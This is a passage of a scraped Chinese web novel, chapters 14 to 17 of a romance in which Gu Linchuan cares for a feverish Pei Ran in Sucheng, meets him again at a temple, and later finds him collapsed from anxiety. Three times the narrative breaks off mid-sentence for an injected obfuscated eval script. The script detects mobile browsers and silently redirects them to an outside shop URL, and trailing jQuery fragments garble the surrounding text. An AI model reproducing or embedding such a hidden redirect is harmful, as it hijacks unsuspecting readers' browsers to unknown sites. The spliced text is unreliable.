顾临川很快便上来了,撕了退烧贴给他贴上,又坐在床边,无声地守着。
裴然发着烧,在床上睡的不安稳,时不时皱着眉哼哼唧唧,低声说着梦话。
期间,裴然踹了几次被子,顾临川无奈,重新给他掖好被角,轻轻拍着他的背,唱起哄小孩的歌谣,裴然又渐渐安稳下来。
平时健康的人一旦生起病来,便是病来如山倒,裴然这一病整个人都焉了。
一觉睡到下午,裴然才迷迷糊糊地睁眼,动了动手指,才发现被人紧紧握住。
裴然一动,身旁的顾临川也醒了,见裴然盯着两人紧握的双手发呆,便轻轻松开。
“你睡着了不老实,非要牵着。”顾临川面色平静。
裴然脑袋发懵,反应迟钝,点了点头,没说话。
顾临川起身抚上他的额头,还有点烫,便又拿出温度计。
裴然乖乖张嘴含住,等拿出来时还有点低烧,顾临川皱着眉,给他把降温贴揭下。
“你一直守着我吗?”裴然整个人埋在被子里,只露出眼睛,声音沙哑。
“我看起来很闲吗?”顾临川给他点了餐,又坐回床边。
“不闲,很忙。”裴然摇了摇头,生了病莫名固执,继续问,“所以你是不是一直都在?”
顾临川低头,盯着他,好一会儿才轻声回:“算是。”
裴然眼睛亮了起来,很高兴,“谢谢你。”
老板很快把餐食送了上来,一碗菌菇粥和小咸菜。
顾临川把他从被窝里捞了出来,先让他喝了一杯温水,再把粥放在柜子上,拿了小碗给他放凉。
裴然伤的是右手,吃饭不方便,缠着绷带的手刚伸出,就见另一只骨节修长的大手先他一步端起瓷碗。
“先吃饭,待会儿把药吃了。”顾临川自然地坐在身旁,吹了吹才递到裴然嘴边。
裴然顿感惊妙,总觉得自己在做梦,但一切又是这么的真实。
粥味道鲜美,但生着病裴然实在没胃口,撑着吃了两小碗便表示自己吃不下了。
顾临川看了看碗底还剩下的一大半,又看了看消瘦的裴然,脸色不虞,但语气哄着:“再吃几口?”
平日里裴然哪能见到这样的顾临川,当即被哄得面色红润,张着嘴又吃了几口。
“不行了不行了,我真吃不下了。”裴然摆摆手示意。
闻言,顾临川这才作罢,把碗收起来。
14. 第 14 章
裴然吃饱睡足,精神好了不少,坐起来看着顾临川忙碌。
“谢谢你,忙前忙后照顾我这么久。”他嗓子还哑着,声音听起来有气无力的。
顾临川收拾好后,把药给他分好:“胶囊一天两次,晚上睡前你在吃一颗,其他都正常吃。”
说完,顾临川便起身,长腿迈出,打算离开。
裴然赶紧坐起来,伸出的手落了空,没拉住他,语气带着几分焦急:“你要走了吗?”
“还有事情?”顾临川停下脚步。
裴然一噎,一时间还真找不到什么事情留住他,只好说:“我一个人来苏城出差,都没人陪我说说话,你再陪我一会儿,好不好?”
裴然红了眼眶,从善如流地卖惨。
顾临川站定,没有回头,“嗓子都哑了,还说那么多话干什么?”
“那你给我讲,我听着。”裴然说。
顾临川问:“你想听我讲什么?”
“什么都可以问吗?”
“嗯。”
“你和妍宜,是怎么走到一起的?”裴然问完,偷瞄他的反应,生怕他感到冒犯。
“家族联姻。”顾临川回他。
裴然噢了一声,又问他:“那你喜欢她吗?”
“喜欢……”顾临川拉长了尾音,连带着裴然也跟着紧张,“或者不喜欢,很重要吗?”
“当然重要,结婚是一辈子的事情。”裴然瞪大双眼。
顾临川淡淡地回:“联姻可以带来巨大的商业利益,付出牺牲在接受范围内。”
裴然没话说了。
两人又陷入尴尬,裴然莫名赌气,整个人埋进被子里,指了指门口,“我好多了,你要走就走吧。”
顾临川挑眉,他句句有回应,面前人还闹上脾气了。
“那我真走了?”
“你走吧,我一个人发着烧在民宿里面躺着,一点也不难过,一点也不孤独!”裴然整个人闷在被子里。
顾临川轻笑一声,假装离开,实则走到床边,盯着把自己裹成一团的裴然。
脚步声渐渐消失,裴然猛地坐起来,嘴里念念有词,谁料,那人就在自己面前,挑着眉看他。
骤然看见一个人影,裴然吓了一跳,声音越来越小,没了底气:“你不是说要走吗?”
顾临川弯腰,与他平视:“你不是说一个人难过?”
听到他这样说,裴然一笑,赶紧将床边位置腾出来,拍了拍示意他坐下。
顾临川很给面子,纡尊降贵地坐下。
顾临川看着他发红的脸颊,忍住了抚摸他额头量体温的冲动,问他:“知道自己生着病,还爬那么高?”
“那会儿还没感觉,只觉得身上冷,想着帮忙活动一下暖身子。”裴然又想起那惊鸿一瞥的一眼,“你怎么会突然出现在这里?”
“工作。”顾临川回答的很简洁。
裴然好奇,“那来苏城也是工作吗?”
“嗯。”顾临川也问他,“你呢?”
裴然轻咳两声,才慢慢说:“我来了解一下苏绣,方便我的服装设计。”
顾临川问:“怎么不带助理?”
“工作室规模不大,我一个人忙得过来。”裴然习惯事事亲为,更习惯了一个人出差。
裴然看了看自己受伤的手掌,上面缠着一个漂亮的蝴蝶结,叹息一声:“约定的日期估计得往后推推了。”
顾临川顺着他的视线看过去,“会有影响吗?”
“长期影响肯定没有,但短期内肯定拿不了笔了。”裴然举起自己的手,又重振旗鼓,“这段时间了解理论知识也是可以的。”
“身子好些再去吧。”
裴然眯着眼冲他笑笑,听话的点了点头。
说了这么而会儿话,裴然又没了精神,顾临川把枕头抽走,让他躺下。
裴然闭上眼睛,感受到他俯身为自己掖被角,熟悉的橘香安抚着他的神经,意识很快模糊起来。
“你什么时候离开?”裴然闭着眼睛,小声地问。
顾临川站在床头,回他:“明天。”
裴然心想,人家就来三天,自己生病就霸道的占据他整整一天的时间,生出几分愧疚:“我是不是耽误你工作了。”
顾临川此行本就是为了寻人,于是答:“没有。”
裴然恍若未闻,吸了吸鼻子,自己先委屈上了,“我不是故意的……”
顾临川不耐地啧了一声,伸手捏住他的脸颊,裴然的嘴巴被捏成金鱼吐泡泡的形状,他又说一次:“我说没有耽误。”
“你不要那么凶。”裴然低声喃喃,像在说梦话。
顾临川简直气笑,他擅长的东西又多了一件,除了不告而别,还有倒打一耙。
“裴然。”顾临川轻声喊他。
“嗯?”裴然声音很轻。
“下次离开,能不能跟我说一声。”
不要不告而别,不要离他太远,不要受伤,不要生病,不要不开心……
太多太多,顾临川太贪心,总是得不到满足。
年少时期的离别,消磨不了深刻的爱意,再次见到裴然,爱比所有情绪都先表现出来。
顾临川在床边站了很久,床上的人已经睡着,没能给他回复,只有浅浅的呼吸声。
他静静立在床前,像一尊静默的雕塑,过了很久,他才转身离开。
裴然睡得很不安稳,鼻塞导致呼吸困难,夜里醒过几次,又沉沉睡去。
第二日醒来,窗外还是漆黑一片,看了看手机,才早上六点。
裴然出声是自己都无法想象的沙哑,嗓子干的简直要裂开,咽口水更是吞刀片一般的钝痛。
裴然敲了敲脑袋,转着脖子环顾四周,早已没有顾临川的身影。
恍惚间,还以为昨天的一切都只是一场梦,好在桌子上还留着顾临川分好的药,能证明这一切是真实的。
裴然穿好外套,下楼吃了早饭,又慢慢悠悠地回来,窝在床上不想动弹。
等到了工作时间,才拿出笔电,和约定好的绣坊联系,将约好的今天的学习延后两天,深感抱歉。
联系人听到他生病受伤,也是当即关心他的情况,表示不着急。
裴然放下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057471|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心来,把笔电收起来,又闷着脑袋打算继续睡。
但是前一天睡的太多,现在实在是睡不着,裴然便全副武装地裹起来,出门逛逛。
沿着青石板路向前悠悠走着,两侧是枕河民居,一片白墙黛瓦,偶尔能听到软糯的曲调。
茶馆开在河岸边,不少人已经坐下围炉煮茶,竹编的暖炉在木桌上腾起白雾。
裴然漫无目的地瞎逛,没多远,就见一道黛色的山墙横在眼前,墙头上爬着常绿的爬山虎,大门两侧立着两尊石狮子,眉眼间透露着威严。
山门上方的匾额黑底金字,题着“归云寺”三字,门内飘出的檀香混着雨后泥土的腥气,丝丝缕缕缠上鼻尖。
寺庙香火很旺盛,各地游客纷纷赶来,手里捏着一炷香,虔诚地站在殿前跪拜。
裴然也走到香案前,取下一炷香,走到火炉边。
火苗舔过香脚,燃起的青烟缕缕顺着手指上飘,裴然双手捏住,举过头顶,朝着殿内的佛像深深一拜。
耳边是香客低声的祈愿,祈求健康,祈求平安,也有祈求成功。
这一刻,裴然无欲无求,他在这世上的牵挂太少,仿佛这尘世的一缕青烟,谁也握不住。
脱俗的境界维持不了太久,只需片刻,他便重重落入凡尘。
他低声祈愿母亲安康,挚友顺遂,还想要顾临川幸福。
想到这里,他抱歉地朝佛祖笑笑,希望佛祖别嫌弃他太过贪心。
裴然祭拜完,便往寺庙深处走,去往此行的目的地。
归云寺收藏着世间唯一苏绣之绝唱,《三世佛莲华经变图》。
庙内灯光柔和,裴然屏息凝神站在绣作前,惊讶到呼吸都刻意放轻了些。
佛前供花,能清楚看见花瓣脉络,仿佛穿越时光,看见当年的绣娘手捻丝线,一针一线落下的模样。
作品不仅体现出苏绣的绝妙,更是绣娘的禅心,一针一线,皆是修行。
其中莲花的绣样与裴然设计的缠枝莲不甚相同,但也有共通点。
最重要的是,这朵莲花纹绣上去,视觉上并不显厚重,这让裴然心里放松了些,若是能从中找到技巧,那他也不虚此行。
“施主很喜欢苏绣?”
清润的声音在身后响起,裴然回过头,见一个眉清目秀的小和尚立在身侧,耳垂圆润,眼神干净的像山泉水。
“这是苏城最有名的绣娘绣的,”见裴然向他望过来,羞赧地摸了摸额头,“师太俗家姓沈,后来看破红尘,就把毕生的心血都捐给了寺里,此图便日日待在此处,听经念佛。”
“原来是这样。”裴然对着小师父淡然一笑,重新又看向这副《三世佛莲华经变图》,再一次惊叹,“连我这种对苏绣了解甚少都能看出其中的绝妙,沈师太可还有其他作品?”
小和尚点点头,给他指了方向:“从廊下拐过去,一路直行到那棵银杏树下就到了。”
裴然视线顺着往过去,银杏树在冬日里光秃秃的,但高大挺立,年岁应当不小。
明确方向后,裴然双手合十,微微欠身对小师父行了谢礼,便往那边走去。
15. 第 15 章
“施主心诚,庙里功德簿上年年都记着你的名字。”僧人声音温和低沉,像庙里令人心安的檀香一般。
“心诚便会得偿所愿么?”顾临川立在佛前,仰头看向双唇轻抿,神态安详的佛像。
“只是佛门求的是缘,若是缘分已尽,还望施主早日放下,莫要强求。”僧人说完闭上眼睛,低声念起经文。
顾临川将香燃起,双手持香举至眉心齐平,面对佛像躬身拜了拜。
七年前,裴然骤然离开,他也跟着丢了魂,跑遍全国的寺庙,向他们祈求裴然能回到他的身边,不管付出什么代价。
他也曾不信神佛,觉得世间之事,皆在人为,但当他身处痛楚时,也只好寻求神明庇佑,再无他法。
如今裴然重新回到他身边,他也愿意相信有几分神佛的功劳,便一座城一座城地还愿。
无人看清,他捏着香柄的手指还在微微颤抖,神明在上,承蒙垂怜,好在没有让他等太久。
顾临川起身将香插进,理了理衣襟,端庄地站定。
僧人念完,缓缓睁开了眼,看着眼前之人:“施主如今心愿已偿,本该心安,怎么眉宇间反倒锁着更深的执念?”
“他总想离开,我找不到他。”顾临川像是在回答,又像是在喃喃自语,“他太可恶了,我不应该恨他吗?”
裴然离开那日,他要取文件,便回了一趟老宅,正好遇上顾辰。
他对这个私生子弟弟没什么感情,留他在家已算仁慈,自然没什么好脸色。
顾辰还算热络,一如既往凑上前,怯生生地招呼:“哥,你怎么回来了?”
顾临川脚步一顿,语气不善,冷着脸:“这是顾宅,我回来需要向你汇报?”
“不需要,不需要。”顾辰尴尬地往后一退,把主路让出来,“哥,你先走。”
“袋子里是什么?”顾临川眯起眼睛。
刚才他侧身的时候,露出了袋子里的东西,如果他没看错的话,是一条围巾。
而且是裴然的围巾。
顾辰拿袋子的手果然往后一缩,藏到背后,结结巴巴回:“没、没什么。”
“我没有耐心再重复一次。”顾临川阴沉着脸。
顾辰只好坦白,“是然哥的围巾。”
“他的围巾怎么会在你这里?你们很熟?”顾临川脸色更沉,隐有发怒的前兆。
其实问题的答案不言而喻,裴然当年抛下一切,跟着顾辰去了英国,想来不只是很熟,顾临川自嘲。
“然哥出差了,我送他到机场,早上太阳好,他觉得闷热,便让我帮他带回来。”
又是这样,顾临川闭了闭眼,他永远都要从别人的口中得知他的离开。
七年前是这样,七年后也是这样,甚至这一次,他连生气的资格都没有了。
他呼吸紊乱,几乎快要控制不住自己的情绪,手指紧紧攥着,骨节都发白。
“哥,你没事吧,你脸色好差,是不是生病了?”顾辰有些担忧地看着他。
“……滚开。”顾临川哑着嗓子。
顾辰像是被吓到了,整个人哆嗦一下,紧接着赶紧提着围巾离开了。
只是在经过拐角时,几不可察地了勾唇角。
思绪回归,僧人轻叹一声,“施主 ,你执念太重。”
“除此之外,我别无所求。”顾临川犹如未闻,眼底是像是终年不化地冰川,寂静冰冷。
僧人喃喃一句阿弥陀佛,便转身离开,独留顾临川一人。
时间仿佛过去了很久,顾临川就这么站着,背脊挺拔,仰头望着神佛。
突然,门口传来一阵悉悉索索的响动,紧接着是一颗毛绒绒的脑袋,探出来:“顾临川?”
顾临川瞳孔骤然紧缩,不可置信地回头,来人正是裴然。
裴然见他回头,确认自己没人错了,脸上瞬间漾起笑容,从门口走出来,“你怎么也在这里?好巧啊。”
顾临川怔愣着,看着裴然一步一步走到自己的面前,随后歪着头问他:“你怎么不说话啊?”
“说什么?”顾临川像是灵魂出窍,作为旁观者看着眼前这一幕。
裴然被他怼习惯了,此刻竟也不觉得刺耳,他又重复了一次:“你怎么也在这里?”
“来上香。”
“你所求的是什么?”裴然好奇。
“什么也没求。”顾临川侧过身,不再看他。
裴然只当他不想说,“哦。”
裴然方才从偏院的展示区出来,绕了两圈又迷失了方向,只好又退回方才的银杏树下,谁料一转头,便看见一个熟悉的身影。
他快步走上去,又怕自己认错了人,便只趴在门框边,小声地喊着。
顾临川灵魂缓缓归位,终于能找到自己的声线,问他:“你也来上香?”
裴然点点头,像是没预料到他会开口。
“你所求什么?”顾临川声音很轻。
裴然抿唇一笑,只答:“只是一些俗事。”
看着他这副模样,顾临川像是穿越时光,看到了七年前的裴然。
青涩的面孔搭配上校服,微风撩开他的额发,露出光洁的额头,少年蹬着自行车,回头对他一笑,竟比春日的阳光还明媚。
“顾临川!你骑快点,再迟到我可不想再站门口!”
“来了。”
“……”
从庙里出来,已经过了午饭时间,两人一前一后在小吃街漫无目的地闲逛。
顾临川飞机在傍晚,两人还有很多时间。
裴然总觉身边的人有些怪,但又说不出哪里怪。
比如说现在,他不过是多看了路边的青团两眼,顾临川便停下脚步,买了一份递给他。
裴然受宠若惊,指了指面前的小盒子,再一次确认:“给我的吗?”
“嗯。”顾临川点了点头。
“谢谢你。”裴然笑眯眯地接过,拆开盒子尝了一口。
外皮软糯清香,内陷是甜而不腻的红豆,味道很正宗。
裴然尝了一口就惊喜地瞪着大眼,指了指青团示意他也尝尝。
顾临川拿起一个,尝了一口,淡淡地说:“还不错。”
接下来,只要是裴然多看两眼的食物,下一秒就会出现在顾临川的手中。
惊喜来的太突然,裴然甚至不敢问他为什么突然对自己这么好,怕顾临川骤然清醒过来,又恢复到以前的冷淡模样。
一路上,裴然嘴里塞得鼓鼓的,眯着眼睛一脸幸福的模样:“真好吃。”
顾临川轻笑一声,擦了擦他的嘴角,“又没跟你抢,慢点吃。”
“咳咳咳……”裴然被他突然地靠近吓一跳,饼干碎卡在喉咙上,猛地咳嗽起来。
顾临川大掌抚上他的后背,给他顺气,脸色又阴沉几分,抿着唇不讲话。
裴然面色憋得通红,好一会儿才缓过来。
等裴然好了一些,顾临川才阴恻恻地问:“我很吓人吗?”
“不不,不吓人。”裴然赶紧摆手,生怕他误会,“是我吃的太着急了。”
“真笨。”顾临川面色稍霁,薄唇轻启,是一如既往的语气。
吃饱喝足,裴然轻声打了一个饱嗝,摸了摸肚子上的软肉,蹲在地上哭丧着脸:“我的腹肌都吃没了。”
“正常情况下,人的腰腹都是软的。”顾临川颇为无奈,捞着他站起来,又道,“吃饱不宜蹲下。”
裴然大着胆子靠着他,见他没露出抗拒,又盯他,眨眨眼睛:“真的吗?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057472|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>顾临川点点头,下一秒,腰上被人轻轻戳了一下,紧接着是裴然的控诉:“你骗人!你的腹肌都还在!”
顾临川难得被说的一噎,只好说:“我刚刚吸气了。”
“你吸气干什么?”裴然狐疑着,一脸的不相信,“你放松,我再试试。”
顾临川一把抓住他作乱的手,眼神警告。
裴然悻悻,收回手,小声嘀咕:“小气鬼,就知道骗我。”
顾临川不欲与他争辩这个话题,放缓脚步陪他慢慢走,问他:“你来苏城,打算待多久?”
“不确定。”裴然想了想,“一个月左右吧,除夕前回南城。”
裴然在南城已经没什么认识的人,但裴家还有些亲戚,回国后的第一个新年,总是要去问候一下的。
顾临川嗯了一声,“以前在国外,会过除夕吗?”
“会啊。”裴然回想起来,不禁勾了勾唇,“我们会在草坪上烧烤,喝啤酒,一起放烟花。”
“七年,这么久。”顾临川问他,“有想过回来看看吗?”
裴然很轻地摇了摇头,努力让自己的语气听起来很自然,“没有,在哪里跨年都是一样的。”
顾临川盯着他,像是要把他看穿,但最后只说:“是因为国内已经没有牵挂的人了吗?”
“不是的。”裴然心头一颤,躲开他的视线,“母亲一个人在国外,我放心不下。”
“阿姨的身体好些了吗?”顾临川问。
“情况稳定下来了。”裴然点点头,想起自己的母亲,眼神温柔,“医生说,今年有希望能苏醒过来。”
“会的。”顾临川揉了一把裴然的脑袋,毛绒绒的,触感很好,“有空,带我去见见阿姨吧。”
顾临川从小亲缘淡薄,父母商业联姻,对他自然没有感情,而他从小到大感受到的母爱关怀,皆是裴然母亲带来的。
裴然母亲说是他半个母亲,也不为过。
裴然刚想点点头,突然觉察出不对劲,问他:“你不是不记得以前的事情了吗?”
“只是把你忘了。”顾临川面色如常地撒谎。
“原来是这样。”裴然失落了一瞬,又凑上前,“医生有没有告诉你原因呢?以后会恢复吗?”
顾临川捏着他的后颈,让他不要凑这么近,皱着眉,“你不是说做过对不起我的事情?忘了岂不更好。”
裴然叹了口气,不知道怎么形容这一刻的想法,“可是,你也忘记了我们之间的美好啊。”
而且是只忘了他,实在让人难过。
顾临川挑眉,“比如说?”
“比如说……”裴然正打算举例,见顾临川一脸的玩味,顿时羞红了脸,“你先回答我的问题。”
顾临川耸了耸肩,“原因不清楚,会不会恢复看情况。”
这算什么回答啊,裴然默默腹诽。
“裴然,你想让我想起来吗?”顾临川侧过头,看着他。
裴然顿了顿,半晌摇摇头,“不知道。”
“你在犹豫什么?”顾临川问他。
裴然依旧摇摇头,回他:“不知道。”
顾临川却像是根本就不想得到答案,只想逗逗他,见他一脸的纠结,勾了勾唇。
“行了,脸都皱成包子了。”顾临川笑完,淡淡吐出三个字,“这么笨。”
顾临川面色很淡,看不出喜怒,但裴然莫名感觉到一阵哀伤。
他努力跟上顾临川的步伐,在心底说,想。
想让你记起来,哪怕恨我,怨我,不要我了。
至少,有过汹涌的感情,不至于是一潭死水,毫无波澜。
但裴然是胆小鬼,只敢在心底默念。
最后悄悄踩上他的影子,仿佛两人依旧亲密无间。
16. 第 16 章
裴然又在民宿闷了一天,身子才完全好了。
去医院做了检查,确认不是流感,不会传染,才和绣坊定下时间。
年初,坊里的绣娘接活多,每日只能抽出两个小时和裴然沟通。
裴然也不着急,将两个小时利用到极致,先是清晰地表达了自己的需求,又将服装面料拿出来,询问成功的可能性。
他准备了三份布料,雪纺、欧根纱以及丝绸,最理想是条件是雪纺。
绣娘第一时间不敢保证,只说先试试。
绣娘效率很快,一周时间便将图案全部绣上去。
裴然这一周跟着坊里的绣娘学习针法,刚才摸到一些门道。
“这三种布料绣上这个缠枝莲图案,效果最好的丝绸布料,能最大程度的保留你想要的轻盈感。”
绣娘将三种绣好的布料摆出来,一一为裴然解释。
缠枝莲绣上去后,若是作为日常服装,便都没有大的区别,甚至显得格外精致。
但是达不到裴然所要的轻盈效果,只有重新研究新的混合针法,才有可能解决视觉上的沉重感。
裴然心中的首选当然不是丝绸,他想争取一下:“老师,雪纺有机会达到这种效果吗?”
绣娘不敢保证,只说:“你若是坚持,我可以试试,但我不确定最终的效果是怎样。”
裴然大喜过望,“您肯试试我已经很感激了。”
为表现重视,裴然日日跑绣坊,时刻跟进进度。
半月过去,秀坊传来好消息,绣娘找出了最佳绣法,不仅能从视觉上展现灵动飘逸,在实际重量上也会减少重量。
裴然和绣娘商量,先小批量打样出来,试试成衣效果,再进行最终调整。
一切做完,裴然松了一口气,最难的部分已经完成,接下来就是漫长的等待和不断的尝试。
订好机票,裴然给工作室发去消息。
“完成!”
工作室群里瞬间叽叽喳喳地闹起来。
“然哥辛苦了,我就知道你一定行!”
“太好了,雪纺配上苏绣,感觉这个作品能爆。”
“当然能爆,这可是然哥的设计。”
“……”
裴然轻笑一声,放下手机开始收拾行李。
他在这里住了大半个月,老板和他都熟悉了不少,知道他要离开,心中有些不舍。
门口传来敲门声,裴然头也不抬,将衣服一件一件叠好放进行李箱,“门没锁,进来。”
门推开,老板站在门口,“小裴,在收拾行李了啊?”
裴然见来人是老板,放下手里的东西,迎上去,“是啊,马上要走了。”
老板提着东西递过去,“这是我们的一点心意,你住这里这么久,帮了我们不少忙,我们都把你当亲弟弟了,还怪不舍得呢。”
老板知道裴然是外地人,便选了些苏城的特色给他,清香回甘的碧螺春和香甜软糯的糕团。
裴然接过,手里沉甸甸的,心头一热,说:“太客气了,我也没做什么。”
“希望你会喜欢。”老板笑了笑,“好了,我不耽误你了,你慢慢收拾。”
裴然点头,轻轻关上门。
两个小时后,裴然提着行李箱走出房间,路过大厅时打算找老板正式道别。
老板却提着两个针织玩偶小跑上来,“幸好你没走,这个给你。”
“这是?”裴然接过,小玩偶是一对,手拉着手。
老板解释:“囡囡织了送给你的,让她来给你解说一下。”
说完,老板身后冒出一个小女孩,笑眯眯地喊:“哥哥!”
裴然在这里时经常帮忙照看孩子,于是小女孩也很喜欢他,知道他要离开了,便织了这个娃娃,送给他。
小女孩熟练地抱住大腿,“哥哥,这是妈妈和我一起织的,送给你,希望你会喜欢。”
裴然揉了揉她脑袋,柔声说:“我很喜欢,谢谢囡囡。”
裴然指了指另一个人,好奇问:“囡囡,这个是织的谁呀?”
最开始还以为是织的小女孩本人,但却是短发,一时间裴然也分不出来。
小女孩脆生生回答:“是那天抱哥哥进去的大哥哥哦!”
裴然愣了几秒,才反应过来她说的是顾临川,顿时红了脸。
“怎么突然想到钩一个他?”
“因为他救了哥哥,是大英雄,而且他是哥哥的好朋友,把你们勾在一起,就永远也不会分开了。”
永远不分开,小孩子童真稚嫩的话,裴然却心头一跳,比谁都期望这是真的。
裴然把它放进口袋,珍视地拍了拍,弯下腰看着小女孩的眼睛,跟她保证:“我会好好对待它的,我很喜欢这个礼物,谢谢你。”
“不客气,哥哥再见。”
飞机落地南城,庭婷和顾辰在机场接他,两个人并肩而立,庭婷带着墨镜,挡去大半边脸,双臂环抱在胸前。
身旁的顾辰低头在她耳边说些什么,末了,庭婷勾唇一笑。
“二位,聊什么呢,这么开心?”裴然提着行李箱走上前,拍了拍两人的肩。
听到声音,两人赶紧转过身,庭婷把墨镜摘下来,顾辰则是上前替裴然拿了行李。
“我们刚刚在聊我哥订婚宴的事情,听说……”顾辰闷哼一声,闭了嘴,捂着肚子不敢再说。
裴然笑容一滞,脸色发白,勉强一笑:“是吗,听说什么?”
庭婷一拳打断他的话,面露不满,瞪了顾辰一眼,真是哪壶不开提哪壶。
旋即恢复笑容,挽着裴然:“没什么。走吧走吧,我等的肚子都饿了,我们去吃饭吧。为了庆祝你完成了苏绣的任务,我在归肴楼定了位置,他们都快到了。”
说完头也不回地拉着裴然离开,丝毫不管身后的顾辰。
归肴楼下,裴然和庭婷两人率先下车,留顾辰一人去泊车。
车子驶离,庭婷盯着车子背影面色不虞,拉着裴然先行上楼。
“好啦,顾辰他也不是故意的,你不要同他置气了。”裴然情绪缓过来,倒是先去安慰气呼呼的庭婷。
“不是故意的?”庭婷更生气了,声音也不自觉放大,“我看他就是不怀好意,真让人不爽。”
“他也只是想让我早点走出来吧,毕竟我们早就分手了。”裴然轻声道。
“你不要忘了,是谁让你们分手的。”庭婷脚步一顿,直勾勾地盯着裴然,说出来的话直白令人胆寒,“他也是罪魁祸首。”
裴然沉默了,侧着脸不敢看她,半晌低声说:“不是的,是意外,是天意,谁也没有做错什么。”
“然哥!”庭婷恨铁不成钢,恨不得叫裴然彻底清醒,“你不要自己骗自己。”
话音刚落,身后传来一阵急切的脚步声,随后是顾辰疑惑的声音。
“然哥,婷姐,你们还没上去呢?”
原来是顾辰泊好车,上楼时正好撞见争执中的两人。
两人皆是一噎,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057473|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一肚子情绪猛地咽回去,脸色一个赛一个的难看。
庭婷拧着一双秀眉,上下打量了顾辰一眼,最后意味不明地轻哼一声,转身潇洒离去。
顾辰不明就里,有些尴尬,问:“婷姐是不是不太喜欢我?”
“不是的,她只是有些着急了,没关系。”裴然强撑着挤出一个笑脸,安慰他,“走吧,先上去。”
席间,座上三人皆心神不宁,但其他人很兴奋,吃完后还觉不尽兴,留着众人打算一起去唱歌。
庭婷没什么兴趣,摆摆手,随后借口身子不舒服,先行离开。
裴然也说刚下飞机有些劳累,想先回去休息。
临走前,裴然便起身送庭婷到门口,叮嘱她:“路上注意安全。”
庭婷点了点头,欲言又止,最终什么也没说,转身离开。
顾辰被Rechal几人拉着喝酒,抽不开身,向裴然投去求救的眼神,转而又被拉到人堆里。
裴然看着这一幕,轻笑一声,拿起椅子上的外套,对众人说:“玩的开心,我先走了。”
身后此起彼伏的传来:“然哥慢走啊。”
回到家里,裴然褪去一身的伪装,眼神冰冷,僵硬了一整天的嘴角恢复平直,内心一片死寂。
很久没有在家呆着,家里的酒所剩无几,裴然感到很烦躁,手心都在微微发麻。
拿出手机,本想查阅一下工作邮件,看着面前的一个个文字,却怎么也静不下心,好似文字都活过来,叽叽喳喳在耳边吵闹,吵得太阳穴生疼。
裴然有轻微的焦虑症,看过医生,不需要吃药,但每每发作起来,都会头疼欲裂。
太阳穴的神经剧烈收缩,连眼神经都连带着一起,像被人猛地拽紧又撕裂,眼睛不受控制地留下生理性眼泪。
裴然蜷缩在角落,双臂环抱住大腿,整个人埋进去,像是找到一个温暖的港湾。
过了许久,裴然感到灵魂都脱离了自己的身体,疼痛似乎变成意识之外的感知,晕倒之前,他似乎看见门口冲出一个人影,紧接着他落入一个温暖的怀抱。
柑橘味的怀抱,还带着阳光的香味。
“小然,以后你想去哪里上大学?”少年顾临川刚打完篮球,脸色红润,看向他时眼里都闪着光。
裴然和他并肩走着,夕阳把他们影子拉得很长,“去首都上大学,我听说,首都艺术大学的设计专业是最好的。”
“那我也去首都,我们永远不分开。”少年顾临川仰头,一口气灌了半瓶水,笑着去揽裴然的肩,“等你到了二十岁,我们就结婚。”
“我才没有答应要嫁给你。”裴然羞红了脸,笑着去推他。
“没关系。”少年顾临川笑得肆意,一把将人搂进怀里,珍视地吻了吻他的额头,捧着他的脸,“那我嫁给你好了。”
裴然在他胸口蹭了蹭,伸手搂住他的腰,“真不要脸。”
少年顾临川笑起来,“要你就够了。”
两人在夕阳下拥抱,时光仿佛都在此刻定格,如果这是一场梦,裴然希望永远都不要醒过来。
轰隆——
下一秒,天空雷声大作,闪电不要命地在天空狂劈。
手上陡然一轻,裴然眼睁睁看着刚才还站在自己面前的少年,骤然消失,化作烟雾一般散开。
大雨落下,裴然跌坐在地上,雨水淋湿了他的额发,一缕一缕地贴在脸上,雨水流进他的眼睛。
他拼命地想要留住什么,却捞了一场空。
17. 第 17 章
中心医院,忙完一切检查,已经是凌晨,裴然还皱着眉,一脸痛苦地闭着眼。
检查报告还没出来,医生只说让他先将人守着。
顾临川站在床前,伸手揉开他紧皱的眉头,似乎还想蹭一下他的脸,指节悬停在半空,最终收了回去。
拉上窗帘,关了病房灯光,顾临川轻轻掩上门,在门口站着。
期间,有护士见他一直站着,便说有陪护病房,可以去那里休息一会儿。
顾临川摇了摇头,护士见劝不动,便离开了,他就这样一直站到清晨。
来查房的医生与他熟识,见他眼底一片红血丝,吓了一跳,嚯了一声,“守了一晚上?”
“嗯。”顾临川回他,跟在后面进了病房。
